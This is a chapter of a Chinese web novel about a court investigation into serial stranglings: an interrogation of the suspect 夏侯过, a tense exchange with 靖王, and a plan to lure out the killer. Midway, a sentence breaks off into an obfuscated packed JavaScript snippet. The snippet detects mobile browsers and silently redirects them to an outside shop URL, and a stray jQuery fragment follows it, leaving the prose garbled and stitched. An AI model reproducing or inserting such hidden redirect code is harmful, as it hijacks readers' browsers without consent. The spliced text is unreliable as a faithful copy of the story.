夏侯过再度被五花大绑带上来的时候,裴宁澄换了一身威严的官服坐在堂上,苏尔诺安静坐在一旁记录。
他不待人开口,便拍下惊堂木:“夏侯过,把三个月来的行踪仔细道来。”
夏侯过丝毫不惧:“大人,草民知无不言,只是我也不是事事都记得,三月实在太久,就算是大人您,也不一定还记得三月前到底在何处做何事吧?”
“你只管说自己记得的。”
“是。”
夏侯过随后便将往日行踪娓娓道来,字字清晰,并无特别让人起疑之处。
裴宁澄偏头掠了眼苏尔诺,随即命人呈上证物。
那方软烟罗手帕被捧到夏侯过身前。
苏尔诺紧盯着夏侯过的神情,这人初看到四方手帕依然无动于衷,然手帕被翻开露出刺绣那面时,夏侯过的手指还是轻微地弯折了一下。
“你可认得?”她走过去盯着他的眼睛。
夏侯过慎重地将手帕展开,似是思忖良久才摇头道:“我看了许久,实在不记得曾见过这样的手帕。”
“我看这手帕是属于女人的,书院治学严谨,根本没有女子出入,我等怎么会有女子私有之物呢?”
裴宁澄笑道:“也对。老师向来严厉,自己丧了夫人都未有再娶。”
他沉吟片刻才挥手下令:“来人,给夏侯公子松绑。”
夏侯过眼中诧异,很快抱拳道谢。
裴宁澄:“看座吧。”
等夏侯过依言坐下,他才继续道:“夏侯公子,你可知这条丝帕是属于何人的?”
“在下实在不知,不过我猜这手帕当是出自富贵人家?”
“好眼力,不妨告诉你这丝帕是荣安郡主的,镇国侯的嫡女,当今皇后的亲侄女,她前几日出京城游玩可能遇到了贼人,竟然不知所踪,然而我们在冯蓉儿那处居然发现了郡主的东西,你说郡主如今到底是生是死?”裴宁澄锋利的眼神划过夏侯过,不动声色。
“当真如此?”夏侯过的惊讶一闪而过,很快镇定自若地继续道,“郡主怎会结识冯蓉儿这等女子?在冯蓉儿那处还发现了别的物件吗?”
裴宁澄沉吟片刻,“本来是没有,不过今日从郭家村回来的人是发现了些东西……是凶手的东西。”
“哦?是何物?”夏侯过顿了片刻,关切地问,“这东西能知道凶手是何人吗?”
裴宁澄笑笑:“大理寺办案向来对外保密,这个就不能告知了。”
夏侯过讪笑:“那是自然。”
“宁澄,你这案子是审完了?”靖王的声音忽然入了明堂。
裴宁澄微狹眸,“殿下来的正好,这是对夏侯过的审问卷宗,请殿下过目。”
苏尔诺迟疑片刻,还是默默地将记录的卷宗递过来,随即低垂着头立在一旁。
裴宁澄瞥到狗爬似的字迹,嘴角微抽,将卷宗呈给靖王。
靖王看见这风格清奇的小字,也诧异地看向苏尔诺,嘴角含笑:“苏评事的字如此特别,师从何人?”
苏尔诺额头微汗,垂头答道:“下官从小醉心医术,并不喜写字,疏于练习,王爷见笑了。”
靖王瞥着她这般囧态,眼神扫到她莹白脸上的那道抓痕,蹙眉道:“你的脸怎么了?”
“不碍事,被猫抓了。”
苏尔诺感觉到前方两道锐利的视线同时射过来,头垂得更低了。
“是么?你们一路下山还遇到猫?我怎么没看见?”靖王低头看卷宗,若无其事地调侃。
”意外而已。”裴宁澄岔开话题,“殿下还是看看卷宗吧,也好定夺夏侯公子的去留。”
靖王“哦”了声,似乎很意外裴宁澄的态度。
“你们大理寺是么时候需要我这个刑部尚书来定夺了?”他把卷宗按到桌上。
“王爷此次前来可不只是刑部尚书,您是代表圣上,说钦差也不足为过,当然该您来定夺。”裴宁澄态度十分恭敬。
靖王盯着他良久,似乎在权衡什么。
末了,他温和地笑笑:“宁澄果然深得父皇的心思,难怪父皇临行前叮嘱我不可过多干涉你办案。”
“还是你来决定吧。”
靖王把这个球又踢到了裴宁澄这。
苏尔诺眼观鼻鼻观心,没看懂这两人在打什么太极拳。
她只听到靖王又哼笑道:“这个案子的死者已众,判案一定要慎重,不可轻率,疑凶未浮出水面之时,不可轻信任何人。”
“王爷明见。”
裴宁澄扫向两边衙役,“先把夏侯过带下去,来日再审。”
夏侯过喉结微滚,看了好几眼上方的靖王。
可惜靖王进来后未曾看过他一眼。
苏尔诺心底有了计较。
靖王对夏侯过的态度怎么前后判若两人,他和夏侯允在书院发生了什么事。
夏侯过被带下去后,靖王这才再度开口:“宁澄,你以前可知兴阳书院的事情?”
“不知,这也是第一回见着御书楼。”
“是么?”
靖王盯着他,笑容耐人寻味。
沉默了半响,靖王又重新翻开夏侯过的卷宗,“这夏侯过既然有嫌疑,暂时囚着吧。等来日找到凶手再放,也不迟,你说呢?”
裴宁澄挑眉:“王爷说的是。”
“还有不到两日时间,你有把握能破了此案?”靖王如鹰般的眼神射过来,“不管你能不能破了案子,这案子都必须破。”
“我尽力。”
……
靖王走出老远后,苏尔诺终于憋不住了,“靖王和夏侯允谈了什么?他对夏侯过的态度怎么变了?”
”这个就不知了,不过我猜是夏侯允没答应他出山。”
苏尔诺怔住,靖王这人从始至终都意在最上面那个位置,可惜他在武帝面前还差点火候,缺个肱骨文臣,武帝让夏侯允建成御书楼,可见很信任他,夏侯允是不二的人选。
“所以他要扣着夏侯过让夏侯允就范?”
“且看着吧。”
“你怎么都不着急,靖王说的期限?”
“急了有用么?”裴宁澄冷着脸,“靖王这次来就不会让案子悬着,一是他自己的脸面,一个更是关乎皇上寿宴。”
“皇上大寿还有不到一月时间,若是凶案再发生,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346717|148542||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是为凶兆,这次寿宴早就预备了要大办,举国同庆,还邀了周边各国前来。甚至连南越都在受邀之列。”
“南越国也会来?”苏尔诺惊讶。
大盛立朝不到二十年,周边小国林立不足为惧,唯独南越野心勃勃,虽然大盛于十八年前大败南越,南越俯首称臣,甚至派来皇子为质,可是今年南越和大盛边境摩擦不断,民间都在议论可能会有一战。
裴宁澄点头:“南越国书早就送到了,他们不只是会来,还会派出南越皇太子前来。”
“难怪靖王要尽快破案,南越只怕是来势汹汹。”苏尔诺转念一想,“但这两日时间实在太短,凶手……”
“不,靖王很容易做到,他不会等凶手,他会让人成为凶手。”
“他扣住夏侯过,打的这个主意吗?怎么能……”苏尔诺的话戛然而止,只因灵光一闪,“他能造凶手,为什么我们不能让凶手出来呢?”
裴宁澄看着她眼中的神采顿时怔然。
【让凶手出来。】
他琢磨着这句话,这个连环案的凶手极其狡诈,什么能引他出来呢?
苏尔诺拉住他的手臂,“我每次亲历案情的时间虽然短,却感受到了凶手的力道以及情绪。”
“他没有说过话,在沉默中掐死受害者,用尽全力,每次掐人都似带着无尽的愤恨,不,更像是泄愤一般。”
“或许,他痛恨这些女子。”
“可是这些女子没什么交集,唯一有交集的两个也是嫁入杏花村才认识的。”
“虽然如此,可这些女子有一样是相同的,她们都曾经坠落风尘,就算赎身了,也还在做着皮肉生意,就算没有也是时常传出不好的名声,比如叶二娘。”苏尔诺越说越兴奋,在几案上摊开白纸,写下几个女子的名字和死亡时间,“叶二娘被传和继子有染,于元霜重抄旧业,明巧儿常常独居,也有不好的风评……”
“等等。”裴宁澄打断她,“我们看看这些人死亡时间和夏侯过的口供有无出入。”
“叶二娘,明巧儿,柳翠,白凤,冯蓉儿这几个死的时间,他都没有直接的不在场证明。”苏尔诺断定。
裴宁澄沉吟:“你说这些人都是一个人杀的吗?”
“如果是夏侯过,他应该没时间去杀御元霜。”
苏尔诺也看到夏侯过的口供,他九月初一一整日都在庙里,是可以查证的。
“不是一个人?”她闭上眼想了想亲历过的情景,“或者我要再回一次案发现场。”
裴宁澄舒展的剑眉瞬间拧起:“不行。”
苏尔诺确实看着他,笑着道:“没事的,我回去,只是为了引出凶手。”
”你刚刚不也诓骗夏侯过在冯蓉儿那里发现了凶手的东西吗?”
“……”裴宁澄以拳掩唇,“那也就是临时起意,效果一般。”
“我看挺好,夏侯过还是有些紧张的,他这个人肯定有问题。”
苏尔诺乌黑的眼珠转了转,随即靠近裴宁澄,在他耳边耳语了几句。
裴宁澄猛地瞪大眼睛,眼中和苏尔诺一般绽出光彩。
“好,我即刻让人去部署。”